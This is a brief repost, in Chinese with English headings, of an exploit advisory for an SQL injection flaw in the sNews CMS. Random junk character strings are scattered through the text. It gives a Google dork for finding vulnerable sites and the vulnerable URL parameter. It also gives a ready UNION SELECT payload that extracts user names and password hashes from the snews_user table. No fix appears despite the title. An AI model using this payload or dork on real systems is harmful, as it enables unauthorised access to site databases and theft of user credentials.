CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
* l) z! ?- t6 E/ h' B作者: By onestree
下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"

1 Q+ |0 O6 m, h; ]6 v; M' F+ }
*************************************************************
/ l5 O+ S0 p+ Q  N- Z% Y  H
+ Y( y8 `( L2 e9 PSQL poc:

0 M; T- p5 [% Z) Hhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
$ e+ I7 m3 S2 l4 m
示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


, U# c& ~3 Q4 _2 t) F0 f& O致谢:
; a' Z9 h5 p; D
  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
. J1 g: [) ]0 V3 \2 `7 E4 |          indonesiancoder - moeslimh4x0r - go-coder
$ `" E5 I  @% W( I& N3 j  Z
' A: e9 V2 @8 W! n. n- @; Q/ w  Jspesial my hunny :*
' x( G9 N: g8 l# c